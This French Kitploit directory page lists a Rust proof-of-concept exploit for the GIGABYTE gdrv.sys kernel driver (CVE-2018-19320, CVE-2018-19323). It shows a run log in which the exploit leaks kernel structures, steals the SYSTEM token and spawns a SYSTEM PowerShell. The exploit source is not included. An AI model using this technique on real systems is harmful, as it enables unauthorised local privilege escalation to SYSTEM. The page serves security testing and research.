Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-1932X — Rust POC for CVE-2018-1932X kernel driver vulnerabilities | Kitploit
Outils/GitHubGitHub/bkreisel/cve-2018-1932x
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPayload DevelopmentBinary Exploitation
GitHubbkreisel/cve-2018-1932x

CVE-2018-1932X

Rust POC for CVE-2018-1932X kernel driver vulnerabilities

Voir le dépôt
3il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-1932X (Preuve de concept d'exploitation en Rust) pour GIGABYTE APP Center v1.05.21 et antérieur

Ce n'est pas parce que votre cible n'est pas sûre en mémoire que votre exploit doit l'être !

Vulnérabilités utilisées :

  • CVE-2018-19320 - fonctionnalité de type memcpy en ring0
  • CVE-2018-19323 - lecture et écriture des registres spécifiques à la machine (MSR).

Testé sur :

  • 20H1: Windows 10 Kernel Version 19041 MP (1 procs) Free x64

Références

  • Projet Vergilius : Structures du noyau
  • Annonce du correctif Gigabyte
  • Détails de _KPCR

Prérequis

  • x64 uniquement
  • Numéros de build testés ci-dessus
  • Pilote GIGABYTE chargé : gdrv.sys

Utilisation

.\CVE-2018-1932X.exe

Exemple

root@kitploit:~
PS Z:\CVE-2018-1932X\target\debug> .\CVE-2018-1932X.exe
CVE-2019-1932X

Opening Handle to Kernel Driver: \\.\GIO
Acquired Handle: 0xa8
Sending IOCTL: 0xc3502580 with 0x10 bytes of data
  [+] Leaked   _KPCR: ffffe48159d88000
  [*] Address  _KPCRB: ffffe48159d88020
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KPRCB: ffffe48159d88180
  [*] Address  _KTHREAD: ffffe48159d88188
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KTHREAD: ffffb50b14d16080
  [*] Address  _KPROCESS: ffffb50b14d162a0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KPROCESS: ffffb50b1507f080
  [*] Address  PID: ffffb50b1507f4c0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   PID: 2092
  [+] Known    PID: 2092
Walking Active Process Links...
  [*] Address  ActiveProcessLinks.Flink: ffffb50b1507f4c8 (PID: 82c)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _EPROCESS: fffff8015561e060 (PID: 0)
  [*] Address  ActiveProcessLinks.Flink: fffff8015561e060 (PID: 0)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _EPROCESS: ffffb50b100624c8 (PID: 4)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Current Token: ffff9708cac8306e
  [+] System  Token: ffff9708c567b047
Borrowing SYSTEM Token...
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Current Token: ffff9708c567b047
Spawning Process...
  [+] Spawned SYSTEM Process
Closing Handle to Kernel Driver: \\.\GIO

Powershell généré :

root@kitploit:~
PS C:\> whoami
nt authority\system

Blocs vulnérables

Memcpy (IOCTL 0x0C3502808)

Blocs de code Memcpy

MSR Manipulation (IOCTL 0x0C3502580)

Blocs de code MSR

Télécharger l’outil